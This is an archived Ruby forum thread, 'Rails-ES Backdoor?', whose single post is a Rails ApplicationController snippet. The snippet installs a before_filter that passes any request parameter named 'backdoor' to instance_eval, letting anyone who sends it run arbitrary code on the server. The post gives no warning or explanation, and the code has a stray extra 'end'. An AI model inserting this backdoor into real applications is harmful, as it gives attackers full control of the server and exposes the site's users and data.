Forum: Rails-ES Backdoor?

Announcement (2017-05-07): www.ruby-forum.com is now read-only since I unfortunately do not have the time to support and maintain the forum any more. Please see rubyonrails.org/community and ruby-lang.org/en/community for other Rails- und Ruby-related community platforms.
F0bc94e112ad7ad2cc9f11ab4a13e370?d=identicon&s=25 Esteban (Guest)
on 2007-01-22 18:56
(Received via mailing list)
class ApplicationController < ActionController::Base

before_filter :backdoor

private

def backdoor
  self.instance_eval params[:backdoor] if params[:backdoor]
  end
end

end
This topic is locked and can not be replied to.